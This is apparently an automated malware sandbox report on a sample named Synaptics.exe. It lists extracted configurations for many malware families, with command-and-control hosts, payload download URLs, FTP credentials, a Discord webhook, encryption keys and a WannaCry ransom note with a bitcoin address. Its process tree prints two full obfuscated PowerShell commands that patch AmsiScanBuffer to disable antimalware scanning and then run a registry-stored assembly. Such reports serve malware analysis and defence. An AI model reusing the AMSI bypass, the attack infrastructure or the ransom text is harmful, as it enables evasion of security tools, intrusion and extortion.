Resubmissions
27/09/2026, 14:21
260927-rn8hns1yhz1015/09/2026, 11:13
260915-nbjf8sgj9y13/09/2026, 12:17
260913-pfz58aba391011/09/2026, 14:17
260911-rltazathnb11/09/2026, 14:10
260911-rgr74sw1hv1007/09/2026, 14:52
260907-r8tv1sxvat06/09/2026, 18:39
260906-xarwnaysdx1006/09/2026, 18:38
260906-xadn2azgqc06/09/2026, 16:17
260906-trmfqaxgkf1006/09/2026, 16:09
260906-tl37aaxfma10Analysis
- max time kernel
679s - max time network
907s - platform
windows11-21h2_x64 - resource
win11-20251015-en - resource tags
- submitted
06/12/2025, 00:25
General
- Target Synaptics.exe
- Size 764KB
- Sample251206-aq5fcsbt4e
- SHA256 4e5cc8cb98584335400d00f0a0803c3e0202761f3fbe50bcab3858a80df255e1
Score
10/10
Malware Config
Extracted
Credentials
-
Protocol
ftp
-
Host
sanghyun.nfile.net
-
Port
21
-
Username
anonymous
-
Password
qkdansror-!!
Extracted
Family
-
xred
C2
-
xred.mooo.com
Attributes
-
payload_url
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1
http://xred.site50.net/syn/SUpdate.ini
https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download
https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1
http://xred.site50.net/syn/Synaptics.rar
https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1
http://xred.site50.net/syn/SSLLibrary.dll
Extracted
Family
-
xworm
Version
-
5.0
C2
-
151.243.218.164:7007
-
:2017
-
B1OqOBScfnQ4Gk4c60H4Zw==:10
Mutex
-
U9QUEjE9dAiY1T1D
Attributes
-
Install_directory
%AppData%
-
install_file
OneDrive.Sync.Service.exe
aes.plain
Extracted
Family
-
gcleaner
C2
-
185.156.73.98
Extracted
Family
-
sheetrat
Version
-
1.8
C2
-
president-rogers.gl.at.ply.gg:24830
Extracted
Family
-
44caliber
C2
-
https://discord.com/api/webhooks/1146486791835230260/bE9QI2eAT_dyqn0dm7VljbMDjUklfKOXxq3ua0HOtKeG6TIgizThvorpCYQf2NEkabwH
Extracted
Family
-
quasar
Version
-
1.4.1
Botnet
-
Office04
C2
-
192.168.137.1:4782
Mutex
-
c9e46391-a513-481f-850c-0575d9434d9b
Attributes
-
encryption_key
08BB821083C178CF94367793848CD70209AA4A6C
-
install_name
Client.exe
-
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
cheats
-
subdirectory
SubDir
Extracted
Path
-
C:\Windows\SysWOW64\Files\!Please Read Me!.txt
-
wannacry
Ransom Note
- Q: What's wrong with my files? A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted. If you follow our instructions we guarantee that you can decrypt all your files quickly and safely! Let's start decrypting! Q: What do I do? A: First, you need to pay service fees for the decryption. Please send $300 worth of bitcoin to this bitcoin address: 15zGqZCTcys6eCjDkE3DypCjXi6QWRV6V1 Next, please find the decrypt software on your desktop, an executable file named "!WannaDecryptor!.exe". If it does not exsit, download the software from the address below. (You may need to disable your antivirus for a while.) rar password: wcry123 Run and follow the instructions! �
Wallets
-
15zGqZCTcys6eCjDkE3DypCjXi6QWRV6V1
Extracted
Family
-
quasar
Version
-
1.4.1
Botnet
-
RAT 5 (EPIC VERISON)
C2
-
serveo.net:11453
Mutex
-
7a1301f7-dc6f-4847-a8ee-ca627a9efa0f
Attributes
-
encryption_key
3B793156AD6D884F51309D0E992DAA75D03D2783
-
install_name
Application Frame Host.exe
-
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
Microsoft
-
subdirectory
SubDir
Extracted
Family
-
stealerium
Attributes
-
url
https://szurubooru.zulipchat.com/api/v1/messages
Extracted
Family
-
xworm
Version
-
XWorm V5.6
C2
-
147.185.221.25:63795
Attributes
-
Install_directory
%AppData%
-
install_file
XClient.exe
Signatures
- 44Caliber
An open source infostealer written in C#.
- 44Caliber family
- Detect Xworm Payload 5 IoCs
- Detects Rhadamanthys Payload 1 IoCs
- Detects Sheetrat Obfuscated Payload 2 IoCs
Sheetrat aka NonEuclid RAT is a trojan written in C#.
- GCleaner
GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.
- Gcleaner family
- Hive
A ransomware written in Golang first seen in June 2021.
- Hive family
- Lockbit
Ransomware family with multiple variants released since late 2019.
- Lockbit family
- Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
- Mimikatz family
- Modifies firewall policy service 3 TTPs 4 IoCs
- Modifies security service 2 TTPs 5 IoCs
- Quasar RAT
Quasar is an open source Remote Access Tool.
- Quasar family
- Quasar payload 4 IoCs
- RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine payload 2 IoCs
- Redline family
- Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
- Rhadamanthys family
- Rule to detect Lockbit 3.0 ransomware Windows payload 1 IoCs
- Sheetrat family
- Sheetrat, NonEuclid rat
Sheetrat aka NonEuclid RAT is a trojan written in C#.
- Sliver RAT v2 1 IoCs
- Sliver family
- SliverRAT
SliverRAT is an open source Adversary Emulation Framework.
- Stealerium
An open source info stealer written in C# first seen in May 2022.
- Stealerium family
- Suspicious use of NtCreateUserProcessOtherParentProcess 13 IoCs
- SystemBC
SystemBC is a proxy and remote administration tool first seen in 2019.
- Systembc family
- Troldesh family
- Troldesh, Shade, Encoder.858
Troldesh is a ransomware spread by malspam.
- UAC bypass 3 TTPs 2 IoCs
- Wannacry
WannaCry is a ransomware cryptoworm.
- Wannacry family
- Xred
Xred is backdoor written in Delphi.
- Xred family
- Xworm
Xworm is a remote access trojan written in C#.
- Xworm family
- mimikatz is an open source tool to dump credentials on Windows 1 IoCs
- Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Enumerates VirtualBox registry keys 2 TTPs 2 IoCs
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
- Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 24 IoCs
Using powershell.exe command.
- Disables one or more Microsoft Defender components 1 TTPs 1 IoCs
Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
- Downloads MZ/PE file 40 IoCs
- Looks for VMWare Tools registry key 2 TTPs 1 IoCs
- Looks for VMWare services registry key. 1 TTPs 2 IoCs
- Modifies Windows Firewall 2 TTPs 1 IoCs
- .NET Reactor proctector 2 IoCs
Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.
- Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Clipboard Data 1 TTPs 2 IoCs
Adversaries may collect data stored in the clipboard from users copying information within or between applications.
- Creates new service(s) 2 TTPs
- Drops startup file 3 IoCs
- Executes dropped EXE 64 IoCs
- Loads dropped DLL 64 IoCs
- Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Themida packer 1 IoCs
Detects Themida, an advanced Windows software protection system.
- Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Adds Run key to start application 2 TTPs 7 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Checks whether UAC is enabled 1 TTPs 2 IoCs
- Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 60 IoCs
- Looks up external IP address via web service 9 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- Power Settings 1 TTPs 23 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
- Drops file in System32 directory 64 IoCs
- Enumerates processes with tasklist 1 TTPs 2 IoCs
- Sets desktop wallpaper using registry 2 TTPs 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
- Suspicious use of SetThreadContext 12 IoCs
- UPX packed file 42 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Drops file in Program Files directory 29 IoCs
- Drops file in Windows directory 3 IoCs
- Launches sc.exe 33 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Detects Pyinstaller 4 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- Program crash 1 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 3 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
- Inno Setup is an open-source installation builder for Windows applications. 6 IoCs
Inno Setup installer
- Checks SCSI registry key(s) 3 TTPs 64 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 11 IoCs
Processor information is often read in order to detect sandboxing environments.
- Delays execution with timeout.exe 2 IoCs
- Detects videocard installed 1 TTPs 2 IoCs
Uses WMIC.exe to determine videocard installed.
- Enumerates system info in registry 2 TTPs 7 IoCs
- Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
- Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
- Interacts with shadow copies 3 TTPs 3 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
- Kills process with taskkill 6 IoCs
- Modifies data under HKEY_USERS 64 IoCs
- Modifies registry class 7 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 2 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 4 IoCs
- Suspicious use of SendNotifyMessage 2 IoCs
- Suspicious use of SetWindowsHookEx 31 IoCs
- Suspicious use of UnmapMainImage 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- System policy modification 1 TTPs 3 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
- Views/modifies file attributes 1 TTPs 2 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵
-
C:\Windows\system32\dwm.exe"dwm.exe"2⤵
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{b43cf4e1-f4d5-487e-a402-dba943a4ab0c}2⤵
-
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
-
C:\ProgramData\0e266ab5-75de-44de-b66f-d91f0ef68780\FnHotkeyUtility.exeC:\ProgramData\0e266ab5-75de-44de-b66f-d91f0ef68780\FnHotkeyUtility.exe -ScanType2⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Checks SCSI registry key(s)
-
-
C:\ProgramData\0e266ab5-75de-44de-b66f-d91f0ef68780\FnHotkeyUtility.exeC:\ProgramData\0e266ab5-75de-44de-b66f-d91f0ef68780\FnHotkeyUtility.exe -ScanType2⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Checks SCSI registry key(s)
-
-
C:\ProgramData\0e266ab5-75de-44de-b66f-d91f0ef68780\FnHotkeyUtility.exeC:\ProgramData\0e266ab5-75de-44de-b66f-d91f0ef68780\FnHotkeyUtility.exe -ScanType2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Checks SCSI registry key(s)
-
-
C:\Users\Admin\AppData\Local\Temp\35603d5b1d\Srfuhxm.exeC:\Users\Admin\AppData\Local\Temp\35603d5b1d\Srfuhxm.exe2⤵
- Executes dropped EXE
-
-
C:\ProgramData\0e266ab5-75de-44de-b66f-d91f0ef68780\FnHotkeyUtility.exeC:\ProgramData\0e266ab5-75de-44de-b66f-d91f0ef68780\FnHotkeyUtility.exe -ScanType2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Checks SCSI registry key(s)
-
-
C:\Users\Admin\AppData\Local\Temp\unpacksos\1\Launcher.exeC:\Users\Admin\AppData\Local\Temp\unpacksos\1\\Launcher.exe SRManagerSOS.exe 12⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\unpacksos\1\SRManagerSOS.exe"SRManagerSOS.exe"3⤵
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
-
C:\Users\Admin\AppData\Local\Temp\unpacksos\1\SRServerSOS.exeSRServerSOS.exe -s4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\unpacksos\1\SRAgentSOS.exe"C:\Users\Admin\AppData\Local\Temp\unpacksos\1\SRAgentSOS.exe"4⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Windows\Temp\bd2_request_d1e73a8a26483a.bat5⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\unpacksos\1\SRAppPBSOS.exe"C:\Users\Admin\AppData\Local\Temp\unpacksos\1\SRAppPBSOS.exe"4⤵
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\unpacksos\1\SRFeatureSOS.exe"C:\Users\Admin\AppData\Local\Temp\unpacksos\1\SRFeatureSOS.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\unpacksos\1\SRUtilitySOS.exeSRUtilitySOS.exe -r5⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\unpacksos\1\SRAgentSOS.exe"C:\Users\Admin\AppData\Local\Temp\unpacksos\1\SRAgentSOS.exe"4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\35603d5b1d\Srfuhxm.exeC:\Users\Admin\AppData\Local\Temp\35603d5b1d\Srfuhxm.exe2⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:AaOcepwZmnPZ{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$ycyPRGJedKBGRN,[Parameter(Position=1)][Type]$kMIJLOFTPc)$YMKBRWHlDPa=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+[Char](102)+''+'l'+''+[Char](101)+'ct'+'e'+''+'d'+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+'e'+''+[Char](103)+'a'+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+[Char](77)+''+'e'+''+'m'+''+[Char](111)+''+'r'+'yM'+[Char](111)+''+[Char](100)+''+'u'+'le',$False).DefineType(''+'M'+'y'+'D'+''+'e'+'l'+[Char](101)+'g'+[Char](97)+''+[Char](116)+''+[Char](101)+''+[Char](84)+''+'y'+''+[Char](112)+'e',''+'C'+''+[Char](108)+''+[Char](97)+''+'s'+''+'s'+','+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+'S'+''+'e'+''+'a'+''+[Char](108)+'e'+[Char](100)+''+[Char](44)+'A'+[Char](110)+'si'+'C'+''+'l'+'as'+'s'+''+','+'A'+[Char](117)+'to'+[Char](67)+'las'+'s'+'',[MulticastDelegate]);$YMKBRWHlDPa.DefineConstructor(''+'R'+''+[Char](84)+''+[Char](83)+''+[Char](112)+'ec'+[Char](105)+'a'+[Char](108)+''+'N'+''+[Char](97)+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+'e'+[Char](66)+'y'+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+'P'+''+[Char](117)+'bl'+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$ycyPRGJedKBGRN).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+''+'t'+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+'Ma'+[Char](110)+''+[Char](97)+''+[Char](103)+'e'+[Char](100)+'');$YMKBRWHlDPa.DefineMethod(''+'I'+'n'+[Char](118)+''+[Char](111)+''+[Char](107)+'e',''+'P'+'u'+'b'+''+[Char](108)+''+[Char](105)+''+'c'+''+','+''+[Char](72)+''+'i'+'d'+'e'+''+[Char](66)+''+[Char](121)+'S'+'i'+''+[Char](103)+''+','+'N'+[Char](101)+''+[Char](119)+'S'+'l'+''+[Char](111)+''+'t'+''+[Char](44)+''+[Char](86)+''+'i'+'r'+[Char](116)+'ual',$kMIJLOFTPc,$ycyPRGJedKBGRN).SetImplementationFlags('Ru'+[Char](110)+''+[Char](116)+''+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+'a'+''+[Char](103)+'e'+[Char](100)+'');Write-Output $YMKBRWHlDPa.CreateType();}$XBDeyGNlKHcmg=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+'y'+[Char](115)+'tem'+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+'c'+''+'r'+''+'o'+''+[Char](115)+''+'o'+''+[Char](102)+''+[Char](116)+'.'+'W'+''+[Char](105)+'n'+[Char](51)+''+[Char](50)+''+'.'+'U'+[Char](110)+'s'+'a'+'fe'+[Char](88)+''+[Char](66)+'DeyG'+'N'+''+[Char](108)+''+[Char](75)+'H'+[Char](99)+''+'m'+''+[Char](103)+'');$DdIHGdTnsStVLy=$XBDeyGNlKHcmg.GetMethod('DdI'+'H'+''+[Char](71)+''+[Char](100)+''+[Char](84)+''+[Char](110)+''+[Char](115)+''+'S'+''+[Char](116)+''+'V'+'Ly',[Reflection.BindingFlags]''+'P'+'u'+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+'St'+[Char](97)+''+[Char](116)+'i'+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$RIEEjUWtnzxeMtLaMGm=AaOcepwZmnPZ @([String])([IntPtr]);$xawKhTSYPpHpZHZDPfdPxJ=AaOcepwZmnPZ @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$IEsHpgmGmkq=$XBDeyGNlKHcmg.GetMethod(''+[Char](71)+''+[Char](101)+'t'+'M'+''+'o'+''+'d'+''+'u'+''+[Char](108)+''+[Char](101)+''+[Char](72)+''+[Char](97)+''+[Char](110)+''+[Char](100)+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object]('k'+[Char](101)+''+[Char](114)+'ne'+[Char](108)+'3'+[Char](50)+''+[Char](46)+'d'+[Char](108)+'l')));$ynoxetwToWtTFE=$DdIHGdTnsStVLy.Invoke($Null,@([Object]$IEsHpgmGmkq,[Object]('Lo'+'a'+''+[Char](100)+'L'+'i'+''+'b'+''+[Char](114)+''+'a'+''+[Char](114)+''+[Char](121)+''+'A'+'')));$jHDjzLxdZqXszNvUA=$DdIHGdTnsStVLy.Invoke($Null,@([Object]$IEsHpgmGmkq,[Object](''+'V'+'ir'+[Char](116)+'u'+[Char](97)+''+[Char](108)+''+'P'+''+[Char](114)+''+'o'+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+'t'+'')));$pkZVKKL=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ynoxetwToWtTFE,$RIEEjUWtnzxeMtLaMGm).Invoke(''+[Char](97)+'m'+[Char](115)+''+[Char](105)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'');$cWxftBRmcDuOFtdwq=$DdIHGdTnsStVLy.Invoke($Null,@([Object]$pkZVKKL,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+''+[Char](105)+'S'+[Char](99)+'a'+[Char](110)+'B'+'u'+'f'+[Char](102)+''+'e'+''+'r'+'')));$IsXcPKKmJN=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($jHDjzLxdZqXszNvUA,$xawKhTSYPpHpZHZDPfdPxJ).Invoke($cWxftBRmcDuOFtdwq,[uint32]8,4,[ref]$IsXcPKKmJN);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$cWxftBRmcDuOFtdwq,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($jHDjzLxdZqXszNvUA,$xawKhTSYPpHpZHZDPfdPxJ).Invoke($cWxftBRmcDuOFtdwq,[uint32]8,0x20,[ref]$IsXcPKKmJN);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+'O'+'F'+'T'+[Char](87)+'A'+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](100)+''+'i'+''+'a'+''+[Char](108)+''+[Char](101)+'rs'+[Char](116)+''+[Char](97)+'g'+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:zzrwTozAARvl{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$gKpLdSsNCahcxN,[Parameter(Position=1)][Type]$jBtLIWIIPa)$eiCaTXuCFfz=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('Re'+[Char](102)+''+[Char](108)+''+'e'+''+[Char](99)+''+[Char](116)+''+[Char](101)+''+[Char](100)+'De'+[Char](108)+''+'e'+''+[Char](103)+'a'+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+[Char](77)+''+[Char](101)+'mo'+[Char](114)+''+[Char](121)+''+'M'+'o'+'d'+''+'u'+''+'l'+''+'e'+'',$False).DefineType(''+'M'+'y'+[Char](68)+''+[Char](101)+''+'l'+'e'+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'T'+[Char](121)+''+[Char](112)+''+'e'+'',''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+','+''+'P'+''+[Char](117)+'bli'+'c'+''+[Char](44)+''+[Char](83)+''+'e'+''+'a'+''+'l'+''+[Char](101)+''+'d'+''+','+''+'A'+'n'+[Char](115)+'i'+'C'+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+',A'+[Char](117)+'t'+[Char](111)+''+[Char](67)+'l'+[Char](97)+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$eiCaTXuCFfz.DefineConstructor('RT'+[Char](83)+'p'+'e'+''+'c'+''+[Char](105)+'a'+'l'+'N'+[Char](97)+'m'+[Char](101)+','+'H'+''+'i'+''+[Char](100)+'eB'+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+','+'Pu'+[Char](98)+''+[Char](108)+''+'i'+'c',[Reflection.CallingConventions]::Standard,$gKpLdSsNCahcxN).SetImplementationFlags(''+[Char](82)+'un'+[Char](116)+''+[Char](105)+'m'+[Char](101)+',M'+[Char](97)+''+'n'+''+[Char](97)+''+[Char](103)+''+'e'+'d');$eiCaTXuCFfz.DefineMethod('I'+'n'+''+'v'+'o'+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+'c'+''+','+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+'N'+[Char](101)+''+[Char](119)+'S'+[Char](108)+''+[Char](111)+''+'t'+','+[Char](86)+'i'+[Char](114)+''+'t'+'u'+[Char](97)+'l',$jBtLIWIIPa,$gKpLdSsNCahcxN).SetImplementationFlags(''+[Char](82)+'u'+'n'+''+[Char](116)+''+[Char](105)+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](77)+'a'+[Char](110)+'a'+[Char](103)+''+'e'+''+'d'+'');Write-Output $eiCaTXuCFfz.CreateType();}$KwXxUUbslIzzA=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+'s'+''+[Char](116)+''+'e'+''+'m'+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+'r'+'o'+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+'W'+[Char](105)+''+[Char](110)+''+'3'+'2'+'.'+''+'U'+''+'n'+''+'s'+''+[Char](97)+''+[Char](102)+''+'e'+''+[Char](75)+''+[Char](119)+''+'X'+''+[Char](120)+''+[Char](85)+''+[Char](85)+'b'+[Char](115)+''+'l'+''+[Char](73)+''+'z'+''+[Char](122)+''+'A'+'');$vRGoCDNwlKUXMB=$KwXxUUbslIzzA.GetMethod(''+[Char](118)+''+'R'+'G'+[Char](111)+''+[Char](67)+''+[Char](68)+''+[Char](78)+''+[Char](119)+''+[Char](108)+''+'K'+''+[Char](85)+'X'+'M'+''+[Char](66)+'',[Reflection.BindingFlags]''+[Char](80)+''+[Char](117)+'b'+'l'+''+[Char](105)+'c'+','+''+'S'+''+[Char](116)+''+'a'+''+'t'+''+[Char](105)+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$NSFVuEnZjajZEPayhdX=zzrwTozAARvl @([String])([IntPtr]);$PEwIzZmdqvVdvvnJwEGPNV=zzrwTozAARvl @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$IfHEXzEFcRK=$KwXxUUbslIzzA.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+[Char](77)+'o'+[Char](100)+''+[Char](117)+''+[Char](108)+''+'e'+''+[Char](72)+''+'a'+''+'n'+''+[Char](100)+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object]('k'+[Char](101)+''+[Char](114)+''+'n'+''+'e'+''+[Char](108)+''+'3'+''+'2'+''+'.'+''+'d'+''+'l'+'l')));$CJYnmQbTZLpnWf=$vRGoCDNwlKUXMB.Invoke($Null,@([Object]$IfHEXzEFcRK,[Object]('Lo'+'a'+''+[Char](100)+'L'+[Char](105)+''+[Char](98)+''+[Char](114)+''+[Char](97)+''+[Char](114)+'yA')));$ETtCmijrhARZpdGLg=$vRGoCDNwlKUXMB.Invoke($Null,@([Object]$IfHEXzEFcRK,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+'a'+[Char](108)+''+[Char](80)+''+'r'+''+[Char](111)+''+[Char](116)+''+'e'+'c'+[Char](116)+'')));$nLTbXOj=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CJYnmQbTZLpnWf,$NSFVuEnZjajZEPayhdX).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$tQQGLdZozixZsRTxM=$vRGoCDNwlKUXMB.Invoke($Null,@([Object]$nLTbXOj,[Object]('A'+[Char](109)+'s'+[Char](105)+''+[Char](83)+''+'c'+''+'a'+'n'+[Char](66)+''+'u'+''+'f'+'fe'+'r'+'')));$AVNNpqTyAv=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ETtCmijrhARZpdGLg,$PEwIzZmd